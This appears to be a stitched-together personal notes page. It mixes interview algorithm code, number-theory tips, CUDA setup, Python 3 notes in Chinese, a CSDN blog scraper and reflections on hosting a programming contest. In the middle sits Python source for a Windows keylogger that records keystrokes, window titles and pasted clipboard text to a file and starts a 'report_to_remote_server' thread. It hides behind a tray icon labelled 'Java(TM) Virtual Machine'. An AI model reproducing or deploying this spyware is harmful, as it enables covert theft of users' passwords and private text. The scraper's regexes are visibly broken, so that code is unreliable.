The questions below will be in a reverse-chronological order as they appeared in the interviews.

Simulated Calculator in String Processing

Calculator V1 - LC 224. Basic Calculator (Hard)

Essentially, merely +- arithmetic operations and parenthesis (nested possible) need to be supported.

Concise & efficient Solution after refactoring

Upon second thought, it appears that stack operations are need only when destructing parenthesis and processing the +- operators (see also other shared solutions on LeetCode).

LRU Cache

1
2
3
4
5
6

class Node:
    def __init__(self, key, value):
        self.prev = None
        self.next = None
        self.key = key
        self.val = value

Unordered MultiSet

1
2
3
4
5
6
7
8
9
10
11
12
13

class MultiSet:
    def __init__(self):
        self.data = dict()
    
    def add(self, val):
        self.data[val] = 1 + (self.data[val] if val in self.data else 0)
    
    def remove(self, val):
        if not val in self.data:
            return
        self.data[val] -= 1
        if self.data[val] == 0:
            del self.data[val]

Fenwick Tree / Binary-indexed Tree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class BIT:
    def __init__(self, size):
        self.size = size
        self.data = [0] * size
    
    def add(self, pos, val):
        while pos < self.size:
            self.data[pos] += val
            pos += pos & (-pos)
    
    def query(self, pos):
        res = 0
        while pos > 0:
            res += self.data[pos]
            pos &= pos - 1
        return res

• Legacy Version

Number Theory

Quick power and modulo

To calculate $ n^m % mod $:

Division and modulo

DO NOT dividing an integer by another integer with respect to the modulus $mod$.
To calculate $ n/m%mod $ correctly ($ mod$ is a prime number thus $ φ(mod)=mod-1 $).
Use Eular function or modular multiplicative inversion.

Euler function $ φ(n) $

Quick greatest common divisor

1
2
3
4
5
6
7
8
9
10
11
12
13

def kgcd(a, b):
        if a == 0:
            return b
        if b == 0:
            return a
        if (a & 1) == 0 and (b & 1) == 0:
            return kgcd(a >> 1, b >> 1) << 1
        elif (b & 1) == 0:
            return kgcd(a, b >> 1)
        elif (a & 1) == 0:
            return kgcd(a >> 1, b)
        else:
            return kgcd(abs(a - b), min(a, b))

• OS: Ubuntu 16.04

• Building prerequisities: make build-essential python3-dev

• Parallel computing prerequisities: cuda8.0 cudnn6.0

export CUDA_HOME=/usr/local/cuda
export PATH=$PATH:/usr/include:/usr/local/cuda/include
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/lib:/usr/lib/x86_64-linux-gpu/:usr/local/cuda/lib64

• Python 3.5 packages: chainer tensorflow-gpu cupy

nvidia-cuda-dev is only required when building cupy locally.

If python package installation fails, try with sudo pip install --force-reinstall --ignore-installed --no-cache-dir -vvvv to debug.

• print不再是个基本语句而是个函数了，从而可以通过end=”,”属性扩充功能。
  不必写from future import ...了。

• /成了实数除法运算符，//才能整数除法。
  这是最隐性的坑。

• input()在同一行接收多个空格分隔的数据就跪了。

安装了py2exe x64，发现有功能缺陷，不支持打包生成单个Windows可执行文件。
也未能注册windows服务。

• 调用win32 API记录键盘事件、窗口事件

#
def get_current_process():

    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    # 打印
    # print
    # print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    # print
    Thread(target=report_to_remote_server).start()
    output_file('','KeyLog.ini',"\n[ PID:%s-%s-%s] %s\n" % (process_id,executable.value,windows_title.value,time.strftime("%Y/%m/%d %H:%M:%S")));

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()

    # 检测击键是否常规按键（非组合键等）
    if event.Ascii > 32 and event.Ascii <127:
        # print chr(event.Ascii),
        output_file('','KeyLog.ini',chr(event.Ascii))
    else:
        # 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            # print "[PASTE]-%s" % (pasted_value),
            output_file('','KeyLog.ini',"[PASTE]-%s" % (pasted_value))
        else:
            # print "[%s]" % event.Key,
            output_file('','KeyLog.ini',"[%s]" % event.Key)
    # 循环监听下一个击键事件
    return True

def RegisterKeyListener():
    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()

但是对于QQEdit.exe，记录值会受到干扰。

• 日志记录

def output_file(dir,name,content):
    fileName = ''
    if len(dir)>0:
        fileName = fileName+dir + "/"
    fileName = fileName + name#.encode('utf-8','ignore')
    f = open(fileName,"a")
    f.write(content)
    # print "Output file",fileName

• Tk GUI

支持异步多线程操作的UI库

class Tk_App:
    def __init__(self,master):
        #构造函数里传入一个父组件(master),创建一个Frame组件并显示
        frame = Frame(master)
        frame.pack()
        #创建两个button，并作为frame的一部分
        self.button = Button(frame, text="QUIT", fg="red", command=sys.exit)# frame.quit
        self.button.pack(side=LEFT) #此处side为LEFT表示将其放置 到frame剩余空间的最左方
        self.hi_there = Button(frame, text="Hello", command=self.say_hi)
        self.hi_there.pack(side=LEFT)
        # Thread(target=RegisterKeyListener).start()
        # sys.stdout.flush()

    def say_hi(self):
        print "hi there, this is a class example!"

TRAY_TOOLTIP = 'Java(TM) Virtual Machine'
TRAY_ICON = 'icon.png'


def create_menu_item(menu, label, func):
    item = wx.MenuItem(menu, -1, label)
    menu.Bind(wx.EVT_MENU, func, id=item.GetId())
    menu.AppendItem(item)
    return item


class TaskBarIcon(wx.TaskBarIcon):
    def __init__(self,frame):
        self.frame=frame
        super(TaskBarIcon, self).__init__()
        self.set_icon(TRAY_ICON)
        self.Bind(wx.EVT_TASKBAR_LEFT_DOWN, self.on_left_down)
        mainth.start();

    def CreatePopupMenu(self):
        menu = wx.Menu()
        # create_menu_item(menu, 'Say Hello', self.on_hello)
        create_menu_item(menu,'Control Panel',self.on_control);
        menu.AppendSeparator()
        create_menu_item(menu, 'Exit', self.on_exit)
        # create_menu_item(menu, 'Exit', sys.exit)
        return menu

    def set_icon(self, path):
        icon = wx.IconFromBitmap(wx.Bitmap(path))
        self.SetIcon(icon, TRAY_TOOLTIP)

    def on_left_down(self, event):
        print 'Tray icon was left-clicked.'

    def on_hello(self, event):
        print 'Hello, world!'


    def on_control(self,event):
        # print r'"%JAVA_HOME%\jre\bin\javacpl.exe"'
        # os.system(r'cd /d %JAVA_HOME%');
        os.system(r'""%JAVA_HOME%\jre\bin\javacpl.exe""');
        # print os.path.realpath(sys.argv[0])
        # print os.path.dirname(sys.argv[0])
        # print os.path.basename(sys.argv[0])

    def on_exit(self, event):
        wx.CallAfter(self.Destroy)
        self.frame.Close()
        mainth._Thread__stop()
        # sys.exit()

class App(wx.App):
    def OnInit(self):
        frame=wx.Frame(None)
        self.SetTopWindow(frame)
        TaskBarIcon(frame)
        return True

教程指导

urllib2.HTTPError: HTTP Error 403: Forbidden

需添加header以伪装成浏览器访问。

UnicodeEncodeError: ‘gbk’ codec can’t encode character u’\u200e’ in position 43: illegal multibyte sequence

应在编码转换时略去无关紧要的不可见字符。参见

import urllib
import urllib2
import re
import os

def mkdir(path):
    path = path.strip()

    isExists=os.path.exists(path)

    if not isExists:
        os.makedirs(path)
        return True
    else:
        return False

def output_file(dir,name,content,charset):
    fileName = dir + "/" + name#.encode('utf-8','ignore')
    f = open(fileName,"w+")
    f.write(content.encode(charset,'ignore'))
    print "Output file",fileName

def scan_article(host,link,dir,charset):
    url=host+link

    request = urllib2.Request(url)
    # disguising web browser headers
    request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36')

    response=urllib2.urlopen(request)

    html= response.read().decode('utf-8','ignore')

    # print html

    pattern=re.compile(r'\s*([\s\S]*?)\s*')

    matches=re.findall(pattern,html)

    if matches:
        title=matches[0]
        # filename=re.sub("\s+","_",title)
        filename=re.sub(r'[\s\\\\\\/:\\*\\?"<>\\|]+',"_",title)
        #print title,"[",filename,"]"
    else:
        print "No title matches"
        return

    pattern=re.compile(r'
\s*([\s\S]*?)\s*
\s*
')

    matches=re.findall(pattern,html)

    if matches:
        html=matches[0]
        # print html
    else:
        print "No contents"
        return

    # print "Output file",filename+'.html'

    try:
        output_file(dir,filename+'.html',html,charset);
    except Exception as e:
        print str(e)
        return

def scan_page(id,host,url,dir,charset):

    request = urllib2.Request(host+url+str(id))
    # disguising web browser headers
    request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36')

    response=urllib2.urlopen(request)

    html= response.read().decode('utf-8','ignore')

    # print html;

    pattern=re.compile(r'([\s\S]*?)',re.I|re.M)

    items=re.findall(pattern,html)

    if items:
        # print items
        for item in items:
            next=re.match(re.compile(r'\s*([\s\S]+\S)\s*'),item)
            if next:
                href=next.group(1)
                title=next.group(2)

                scan_article(host,href,dir,charset)
                # print href,"->",title,"[",filename,"]"
            else:
                print "Invalid item"
                return
    else:
        print "No title matches"
        return

dir='data/csdn_utf-8';
host="http://blog.csdn.net"
url="/u013491262/article/list/"
charset='utf-8'
mkdir(dir)
# scan_article(host,"/u013491262/article/details/20783371",dir,'utf-8')
for i in range(28,31):
    print "page ",str(i),":"
    dir='data/csdn_utf-8'+"/"+str(i).zfill(2)
    mkdir(dir)
    scan_page(i,host,url,dir,charset)

努力赶完了各种超乎预料的活。

命题

写标程吃力；惊讶于自己写标程时的乏力，低级算法竟事倍功半。
编数据时用py写了生成器（可据此认为是真正地学到了一些Python）
但是，小数转分数的输出数据的错误，直到比赛进行中才发现。

判题系统

比起之前在云服务器上的糟糕透顶的测试情况，是令人欣慰的。
但是在不同机器上运行同一份代码，竟会有不同的结果；还有错综复杂的Compilation Error。
自动更新榜单的功能是良好的，但不接受中文（无论UTF-8还是ANSI/GB2312编码）的Display Name的特性是恶劣的。
注意性能瓶颈，服务器尽量少承担任务。

网页开发

事到临头方才探索动态页面开发、后端数据处理，是折磨的。
榜单页面的样式并没有时间完成，不直观，不堪入目。
打印页面（此处有预览）终于还是稳定运行了，尽管交互性能极其有限。